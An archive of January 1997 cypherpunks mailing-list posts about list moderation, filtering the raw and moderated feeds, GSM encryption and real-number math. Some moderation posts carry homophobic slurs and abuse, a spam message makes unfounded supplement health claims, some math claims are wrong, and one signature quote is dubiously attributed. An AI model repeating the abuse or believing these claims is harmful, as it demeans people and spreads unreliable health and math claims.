Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 19 Jan 1997 13:44:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <v03007809af0844db02a5@[204.31.235.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:16 AM -0800 1/19/97, Igor Chudov @ home wrote:
>If you trust me, or someone else, like Prof. Dave Hayes, here's what
>we can do: I establish a sendmail alias cypherpunks@algebra.com that
>expands to, say, your address and also cypherpunks@toad.com.
>
>...
>
>If you indeed notice an impropriety, the digitally signed receipts
>will be your proof that articles were submitted. As long as the
>other readers trust me (or Dave Hayes, or whoever volunteers), you
>will have a strong case even without relying on freudian slips.

I hope if such a system is set up, people who use it will realize that
email is not 100% reliable.  Just because algebra.com sent mail to
toad.com, doesn't mean that toad.com actually received it.  A small
fraction of a percent of these messages will be lost.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: meritassoc@earthlink.net
Date: Sun, 19 Jan 1997 13:48:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: DO YOU BELIEVE THAT YOU'RE MEANT TO BE HEALTHY, HAPPY AND FINANCIALLY FREE?
Message-ID: <199701192147.NAA06869@bulgaria.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,

Do you believe that you're meant to be healthy, happy and financially free?

Nutritionist and other health professionals tell us that we should eat the right foods, to get the appropriate vitamins and minerals in our daily diet and exercise in order to stay healthy, right.  RIGHT!  We are slowly realizing that the soil from which our fruits & vegetables come from is also being depleted and in spite of the fact that we try to restore those nutrients artificially, we are not really putting everything back in.

Several years an amazing discovery was made in the Soviet Union and kept secret from the rest of the world until the fall of the Berlin Wall.  This discovery stimulated long term research, funded completely by the Soviet government and headed by the late Dr. I. I. Brekhman, a world renowned & brilliant scientist.   His vision and breakthrough research over 45 years revealed many of nature's most important secrets, which recognized him as the "Father of Adaptogens".

Dr. Brekhman, with a team of over 1,200 biologist and physicians, analyzed and investigated adaptogens in one of the most massive programs of human testing in scientific history.  [No where else except the Soviet Union could this have taken place.]  They produced thousands of dietary studies which definitively validated the safety, benefits and astounding capabilities of adaptogens.

The cosmonauts used Dr. Brekhman's formulas to cope with motion sickness, extended confinements, weightlessness and inherent stress of space travel.

The Olympic athletes used Dr. Brekhman's formulas to improve performance, immune resistance, stamina, endurance, recovery and to cope with the stress of competition.

In a broadly-based study of 60,000 truck drivers at an automobile plant in Tolyiaatti for over 10 years revealed that those workers using adaptogens experienced a 25% reduction in lost time as well as a 40% decrease in influenza and a general improvement in their overall health.

In another study of 655 flight personnel, adaptogens improved the recovery process after long and tiring flight schedules.

We could go on with the results of his research, but I think you get the picture.

The secrets of Dr. Brekhman's work are no longer locked inside Russia.  Adaptogens could soon become as American as apple pie.

In 1991, Dr. Brekhman joined forces with PrimeQuest in an exclusive collaboration to convert his wisdom into a whole new generation of adaptogenic formulas.  The results far exceed his work with cosmonauts and athletes.  He designed a total program for well-being...a program which gives you what you have been missing.  

Before his death in July 1994, Dr. Brekhman was able to complete the goal of his life's work:  "It has always been my dream to create a special formula for life, to make them healthy, stable, happy and to protect them from stress.  All of my life I have worked toward this goal - and now, finally I have achieved a breakthrough.  It is a complicated preparation of natural plant materials which are the best and most effective ingredients I have studied in all of my years of research...ingredients that work together in a combination that derives additional power from the mixture itself." 

No other product on the market today has undergone the clinical studies on humans that these products underwent in the 40+ years of research.

PrimeQuest products can increase your energy and vitality in the most natural way.  You can:

	· Reduce Stress
	· Lose body fat
	· Increase energy
	· Eliminate A.D.D.
	· Improve Sex Drive
	· Reduce P.M.S.

To get a FREE TAPE in which a Harvard MD reveals the SECRET and more information about obtaining these products or becoming a distributor yourself.  E-mail your name, address & phone #  to Meritassoc@earthlink.net or call 1-800-305-6451.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 19 Jan 1997 13:51:23 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
Message-ID: <199701192151.NAA11643@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


> In other words, can I separate the censored email without having to
> have two accounts?

You can write a program to read both the censored and uncensored
email, and do a diff. You wouldn't have to see it, and it could be
done so that a "fake" address subscribes to the censored list.

Maybe I should offer this as a service to the uncensored list? ;-)
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

None should say "I can trust" or "I cannot trust" until they are the master
of the option of trusting or not trusting.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 14:40:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STEGO] Sphere packings
In-Reply-To: <199701191938.LAA32285@mailmasher.com>
Message-ID: <199701192240.OAA03487@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone with Huge Cajones wrote:

> Tim C. May will fuck anything that moves, but he'd rather be fucking 
> his own mother's dead body.

>          \|/
>         (*,*) Tim C. May
>        _m_-_m_

Uh, is this the filtered or the unfiltered list?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 14:55:22 -0800 (PST)
To: Cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL (fwd)
In-Reply-To: <199701191919.NAA00377@einstein>
Message-ID: <199701192255.OAA05514@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate writes:

> "If every segment is to have a numerical measure as its length, then a new
> domain of numbers is needed, an extension to the domain of rational numbers.
> This new domain can no longer be constructed, as in the previous case, by
> number pairs. But hints for its construction are provided by a theoretical
> analysis of the measuring process for segments."

> A mathematicaly rigorous defintion of the class of numbers called 'Real'
> is that which equates the members of that set to the possible lengths of an
> arbitrary line segment.

This seems a tad circular, as the real number line, from which line 
segments are constructed, is a copy of the set of real numbers. 

One can construct the reals from the rationals quite easily using any
of several well-known methods, such as equivalence classes of Cauchy 
sequences, or Dedikind cuts.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 19 Jan 1997 13:02:02 -0800 (PST)
To: Sir Robin of Locksley <tozser@stolaf.edu>
Subject: e digits random?
In-Reply-To: <199701191820.MAA24006@nic.stolaf.edu>
Message-ID: <199701192104.PAA11959@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701191820.MAA24006@nic.stolaf.edu>, on 01/19/97 at 02:20 PM,
   Sir Robin of Locksley <tozser@stolaf.edu> said:


> >Also, is it true that the sequence of digits in e is random because the ONLY way to get
>to the
> >p'th digit is to calculate the p-1'st digits?
> >
>Exactly! This is called recursive definition. To get the p-th set in the
>sequence you need to find p-1 first...

This still would not make the digits random since knowing p-1 one can
calculate p.

In a random series of digits knowing p-1 should not have any effect on the
probability of the value of p.

With e if you know the value of p-1 is 7 then you can calculate the value of p and know if
p is 3 or not. In a random series knowing that p-1 is 7 there should be an equal
probability of p being 3 or any other number.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Walk through doors, don't crawl through Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sun, 19 Jan 1997 12:25:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
Message-ID: <199701192025.PAA02720@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:20 PM 1/19/1997, Sir Robin of Locksley wrote:
>>Is it possible to prove that number
>>0.1234567891011121314151617181920...  iz irrational?
>
>Most definately. All you need to do is prove that the set of this
>number is uncountable, ergo is irrational. If you have friend who
>have done math in real analysis they can explain more.

The set of this number contains one member - the number.  Therefore,
this is a countable set.

A rational number is a number which can be described as a fraction in
which the numerator and the denominator are integers.

Jim Choate implied that "infinity" is an integer.  This is not
correct.  The set of integers is said to be infinite.  Infiniteness is
a property of the set, not a member of the set.

All rational numbers are expressible in a decimal form of finite
length or in a decimal form which ends in a repeatable string of
digits.  (Consider the process by which each successive digit is
found.  It is a fraction of the denominator and some remainder with a
zero added.  The remainder is less than the denominator multiplied by
the base, 10 in this case.  When a remainder repeats, the state of the
algorithm repeats, and its output will therefore be repeated.  Since
the remainder is bounded, the algorithm must repeat a state.  Note
that this holds regardless of the base used.)

If our number, 0.1234..., does not repeat then it is not rational.

Let's show that it does not repeat.  If it repeats, there is a
sequence of digits which repeats indefinitely.  Such a sequence must
be longer than the longest integer.  (Because if it was part of an
integer, the other parts of the integer would not always be the same
and it couldn't repeat.)  But, there is no longest integer.  Therefore
there is no repeating sequence.

Therefore our number, 0.1234..., is not a rational number.

Math Man





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jkurfis@interserv.com
Date: Sun, 19 Jan 1997 15:52:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tomorrow
Message-ID: <199701192352.PAA04158@m3.interserv.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

Hello, If you spend time on any of the online services or the internet then I have some exciting news. The Middle Income Financial Independence Club is now excepting new members.  We are an online club of Middle Income people who have joined together to pursue our financial future from the information superhighway.  

If you would like membership information then please email me at jkurfis@interserv.com

Start your online future today!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 19 Jan 1997 16:06:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Thoughts re moderation, filtering, and name changes
Message-ID: <3.0.32.19970119160951.006c26ac@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain


(I wrote a pretty long message and decided that the last few paragraphs
said what I was really getting at. So I put the long message on the web at
<http://www.io.com/~gbroiles/cpunks.html> and have sent along only the last
bit.) 

This discussion of public perception now finally reaches what finally
spurred me to write in the first place, which is the relationship of all of
this to the name of the list, and whether the unfiltered list should be
called "cypherpunks" or "cypherpunks-unedited" or whatever. I think that
the dispute over the name (or, more accurately, grumbling and dissent about
John Gilmore's decision about naming) is reducible to a dispute over
whether it's more important that the list be perceived as a "free
expression zone" where any message is accepted, or if it is perceived as a
mailing list with a high signal/noise ratio. At a purely technical level,
these are both non-issues; the name "cypherpunks@toad.com" is merely a
string of text, and we could all just as easily subscribe to
"mxfgfds@toad.com"; and motivated subscribers can use automated tools to
tweak the signal/noise ratio to their individual liking. But most people
will follow a path of least resistance; they will (remain) subscribe[d] to
"cypherpunks@toad.com", and they will not use filters, and what they get is
what the world at large will think "cypherpunks" is.

While I don't care (and suspect many others don't care) what the perception
of "cypherpunks" is, per se, I do care about whether or not interesting
people choose to send their thoughts and information to the list. So to the
extent that public perception changes that, I'm interested. And we've been
doing the "free expression zone" for several years, and what we're ending
up with is a mixture that's mostly crap - of the messages I see (and I
filter a lot out), a small fraction (10%?)  is pure garbage (e.g., the
"cocksucker" messages), a large fraction (60%?) is on-topic but
uninteresting or not useful, and the rest is useful in that it's got
information or a perspective I hadn't been exposed to before I read the
message. Other lists which are moderated (either by message or by author)
attract people whose messages are frequently useful; many of those people
have been on the Cypherpunks list at one time or another and have found it
unsuitable. So I'm ready to experiment with a new configuration because I'd
like to get more useful information.  

One approach to the name question would be to eliminate
"cypherpunks@toad.com" and force old/new subscribers to choose between
"cypherpunks-edited" and "cypherpunks-unedited". The advantage I see is
that it provides more accurate feedback about what people want; the present
method provides information about the perceived value of unmoderation
weighed against the bother of dealing with subscribing & unsubscribing. The
disadvantage is that it's likely to eliminate many subscribers, and that it
tends to abandon the "cypherpunks@toad.com" history which is, by now, ~5
years old. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sun, 19 Jan 1997 13:15:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Numbers we cannot talk about
Message-ID: <199701192115.QAA07547@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:48 PM 1/18/1997, Secret Squirrel wrote:
>Is it REALLY true that there are real numbers that cannot be
>generated by any algorithm? Some guy said that since the set of
>algorithms is countable, but the set of real numbers is more than
>countable, there must be some numbers for which there is no
>algorithms that generate them.

There are sets of real numbers whose existence we can prove, but which
we cannot otherwise describe.  This is more extreme than being
"generated by an algorithm".  We can't even tell somebody which
numbers to generate!  (I take "to generate" here to mean "to compute a
decimal approximation.")

The set of real numbers is uncountable as is the set of subsets of the
real numbers.  Yet, we have only countably infinite ways to describe
sets of numbers.

All sets of numbers which we can describe can be described with a
finite set of symbols.  (Human beings are unable to distinguish
between an infinite number of states.)  The set of combinations of
this finite set is infinite, but countable.

"What we cannot speak about we must pass over in silence."
  - Ludwig Wittgenstein,
    closing line of "Tractatus Logico-Philosophicus"

See the early pages of "Godel's Incompleteness Theorems" by Raymond M.
Smullyan for a better exposition.

Math Man





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Jan 1997 14:29:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: infinity & set membership
Message-ID: <199701192236.QAA00745@einstein>
MIME-Version: 1.0
Content-Type: text



Hi all,

"The least upper bound of a set of real numbers is often called the
supremum, the greatest lower bound its infimum. In general the supremum and
infimum of a set ARE MEMBERS OF THE SET or at least LIMITS OF SEQUENCES OF
MEMBERS OF THE SET."

[capitalization is mine]

In this case the suprenum is infinity.

Introduction to Calculus and Analysis
Courant and John
Vol. 1, pp. 97, Section e.
1965 Edition
Library of Congress: 65-16403

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 19 Jan 1997 14:21:59 -0800 (PST)
To: nobody@squirrel.owl.de (Secret Squirrel)
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
In-Reply-To: <19970119064820.11000.qmail@squirrel.owl.de>
Message-ID: <199701192238.QAA05435@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> I BEG YOU TO HELP ME!!!
> Also, another question for math geniuses here: 
> Is it REALLY true that there are real numbers that cannot be generated
> by any algorithm? Some guy said that since the set of algorithms is
> countable, but the set of real numbers is more than countable, there 
> must be some numbers for which there is no algorithms that generate them.

    x=0;
    x1=0;
    x++;
    x--;
  
    Would give you all int's, the only problem you have is granularity. In
practice, there are numbers which you can't get with algorythms, but in 
theory you should be able to hit all real numbers of given granularity (i.e,
10 digits past the decimal point) with the right hardware and software. as in:

    x=0.00000000001;
    y=0.00000000001;
    x1=x;
    x=x+y;
    x1=x1-y;

    Should give you all real numbers with a granularity of 11 digits to the 
right of the decimal point.

> I AM REAL DESPERATE FOR YOUR ASS ISTANCE.

     HIBT?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 19 Jan 1997 16:43:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <v02140b00af086e8ed0db@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


For voice calls, it is not possible to merely insert a more secure crypto
function (e.g., IDEA) inside the less secure A5 crypto, unless the GSM base
station's protocol is aware the subscriber unit is using the more secure
crypto.  Otherwise, when the GSM base station unwraps the A5 encrypted data
stream, which it assumes will contain digitized voice packets in the clear,
it will not find what its looking for and will be unable to convert the
packets to a circuit-switched voice signal.

If, as I have previously stated, the subscriber instead uses the data port
of his instrument and establishes a data link with his payload protected by
the more the secure crypto this is entirely feasible.

-- Steve


PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet, electronic currency and wireless development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 19 Jan 1997 14:35:48 -0800 (PST)
To: ravage@einstein.ssz.com (Jim Choate)
Subject: Re: Igor@home = Secret Squirrel
In-Reply-To: <199701191752.LAA00157@einstein>
Message-ID: <199701192252.QAA05467@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Take it for what it's worth.
> "An appeal to authority is an appeal to a human being just like yourself
>  who does not have your best interests at heart. What makes you believe
>  they are able to resolve your problems better than yourself?"

     It gives me another perspective to work from. No answers to such 
appeals are taken as gospel. They are considered, tested where appropriate,
and then either implemented, or disgarded.

     In certain areas I am liable to give certain answers more "weight" 
depending on various things (usually some sort of reputation calculation),
but I only really trust (well to certain levels) myself. 

   
  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 15:01:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Monster' numbers
Message-ID: <199701192308.RAA00800@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

In reference to numbers which you can't describe, if you examine the work
they are ALL in the Complex domain, none of them are Real's.

Complex numbers deal with areas, not with lengths.

If there existed a Real for which we could not describe this would imply
that we could not draw a line of that length. Something which is clearly
contrary to the axiomatic assumptions of lines and their construction (ie
points have no dimension, only position, and lines are infinite sequences
of points).

A clear Complex example of a 'monster' is Sierpenski's Gasket. It fills an
area but has no measurable surface area.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 17:37:48 -0800 (PST)
To: aga <dlv@bwalk.dm.com>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <Pine.LNX.3.95.970119085107.7506H-100000@dhp.com>
Message-ID: <32E2CC4B.22C9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Sat, 18 Jan 1997, Dale Thorn wrote:
> > Dr.Dimitri Vulis KOTM wrote:

> > In other words, can I separate the censored email without having to
> > have two accounts?

> You can not.  You need another account.
> I wrote to Steve Case about this censorship problem, and I am waiting
> for him to respond.
> Do you want another account to get the censored list at?

Somebody correct me if I'm wrong.  We already get the censored stuff
on the alleged-to-be "unedited" list, so by looking at the censored
list only, we can do the subtraction more reliably than Sandfort.

Just the censored list is needed, not the cut-out stuff, as far as I know.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 15:33:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL (fwd)
Message-ID: <199701192340.RAA00844@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> One can construct the reals from the rationals quite easily using any
> of several well-known methods, such as equivalence classes of Cauchy 
> sequences, or Dedikind cuts.  

So you are saying that the Reals are a subset (ie can be constructed from)
of the Rationals?

I can create a number which is not representable by the ratio of two
integers from two numbers which are representable by ratios of two integers?

That's a nifty trick indeed, I am really impressed.

Cauchy produced a test for testing convergence. I fail to see the relevance
here, but please expound...

Dedekind Cut:

"Thus a nested sequence of rational intervals give rise to a seperation of
all rational numbers into three classes."

Just exactly where does this allow us to create Reals?


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 19 Jan 1997 09:37:06 -0800 (PST)
To: aga@dhp.com
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <Pine.LNX.3.95.970119085107.7506H-100000@dhp.com>
Message-ID: <19970119174114.21552.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks@taz.nceye.net
   Delivered-To: reece@taz.nceye.net
   Date: Sun, 19 Jan 1997 08:52:58 -0500 (EST)
   From: aga <aga@dhp.com>
   cc: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>, cypherpunks@toad.com
   MIME-Version: 1.0
   Content-Type: TEXT/PLAIN; charset=US-ASCII
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   On Sat, 18 Jan 1997, Dale Thorn wrote:

   > Dr.Dimitri Vulis KOTM wrote:
   > > Someone wrote to me:
   > > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
   > > >write what the fuck they like but straight or intelligent or NORMAL
   > > >people will have to be filtered.
   > 
   > > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
   > > like Jason Durbin will continue to post personal attacks on Gilmore's
   > > many "enemies", but the victims of the libel will not be able to respond
   > > and refute their lies. The concept of "the best response to speech you
   > > don't like is more speech" is totally alien to the homosexual subculture
   > > on the Internet. These control freaks are into censorship and B&D.
   > 
   > Here's a problem.  I don't have "technical" capabilities in the area of
   > communications software, and I have too full a plate to start studying
   > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
   > allow people to attack others, then cut the responses.
   > 
   > If he does this, and he doesn't rectify it when it's called to his
   > attention, he would need to be punished in some way.  One of the
   > questions I have is, how do I know what's cut when all I subscribe to
   > is the uncensored list?  I do *not* want to subscribe to the filtered
   > list plus the "flames" list, out of principle.  Is this something that
   > would be forced on me/us in order to monitor the censorship?
   > 
   > In other words, can I separate the censored email without having to
   > have two accounts?
   > 
   > 

   You can not.  You need another account.

Not quite true.  I'm going to use one account on a host running qmail
to find the differences between the lists (one will go to
accountname-mod@qmailhost, the other to accountname-raw, and a cron
job will do the comparisons every few minutes).  If you have an
account on a unix box running sendmail, you can have .forward run a
program to sort messages out by sender into separate files for normal
mail, the raw list, and the moderated list.

   I wrote to Steve Case about this censorship problem, and I am waiting
   for him to respond.

   Do you want another account to get the censored list at?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 18:01:46 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
In-Reply-To: <199701162142.VAA06080@server.test.net>
Message-ID: <32E2D1E7.7DAC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

This was an utterly fascinating post, if y'all don't mind my saying so.
I certainly can't vouch for the details (or the theories), but whether
any of the details are deliberate experiments on Dimitri's part or not,
the totality of what has taken place would make an excellent source
for a post-graduate study.  Am I right?

I would suggest, however, if you're looking for a likely candidate for
really advanced social manipulation/experimentation, you should be
looking at the list owner(s), not the gadflys.

There's this silly theory some people have, that once in a while the
little people (the good guys?) win enough points to set the bad guys
back a ways.  Not in 20th century Amerika.  Read Carl Oglesby's
article "Paranoia As A Way Of Knowing", and think: "Paranoia As A Way
Of Knowing Who We Are."

[much text deleted below]
> It's occured to me recently that Dimitri's posts are not being read
> correctly, it is not the content which is the point, nor the
> superficial lack of crypto relevance.
> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.  My suggestions for
> interesting experiments during the moderated phase are:
> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 20:55:52 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
Message-ID: <199701200455.UAA00391@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

This was an utterly fascinating post, if y'all don't mind my saying so.
I certainly can't vouch for the details (or the theories), but whether
any of the details are deliberate experiments on Dimitri's part or not,
the totality of what has taken place would make an excellent source
for a post-graduate study.  Am I right?

I would suggest, however, if you're looking for a likely candidate for
really advanced social manipulation/experimentation, you should be
looking at the list owner(s), not the gadflys.

There's this silly theory some people have, that once in a while the
little people (the good guys?) win enough points to set the bad guys
back a ways.  Not in 20th century Amerika.  Read Carl Oglesby's
article "Paranoia As A Way Of Knowing", and think: "Paranoia As A Way
Of Knowing Who We Are."

[much text deleted below]
> It's occured to me recently that Dimitri's posts are not being read
> correctly, it is not the content which is the point, nor the
> superficial lack of crypto relevance.
> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.  My suggestions for
> interesting experiments during the moderated phase are:
> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 18:07:29 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.LNX.3.95.970119111944.9833A-100000@ixsrs4.ix.netcom.com>
Message-ID: <32E2D346.1370@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


AIDAS wrote:
> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > > > can't figure out Majordomo or their mailers, and so on and so forth.

> > > > Not sure about "all", but someone whose name sounds like AIDS, and who
> > > > advocates censorship, most likely is one.[snip]
> Ah, very strong response indeed. I feel as if shot down in flames,
> and my mind aches from the slice of your wit. Deliver us, oh Vulis,
> for we are in need!

It still looks like Sandy to me.  Writing style for one, unwillingness
to drop an argument for two, and the use of the name AIDAS is *very*
suspicious.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 20:55:41 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <199701200455.UAA00369@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


AIDAS wrote:
> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > > > can't figure out Majordomo or their mailers, and so on and so forth.

> > > > Not sure about "all", but someone whose name sounds like AIDS, and who
> > > > advocates censorship, most likely is one.[snip]
> Ah, very strong response indeed. I feel as if shot down in flames,
> and my mind aches from the slice of your wit. Deliver us, oh Vulis,
> for we are in need!

It still looks like Sandy to me.  Writing style for one, unwillingness
to drop an argument for two, and the use of the name AIDAS is *very*
suspicious.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 16:01:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dedikend Cut's and such
Message-ID: <199701200008.SAA00943@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

Did a little research, Dedekind Cut's and such use Integers to define a
SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
set of Reals.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 18:23:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise]
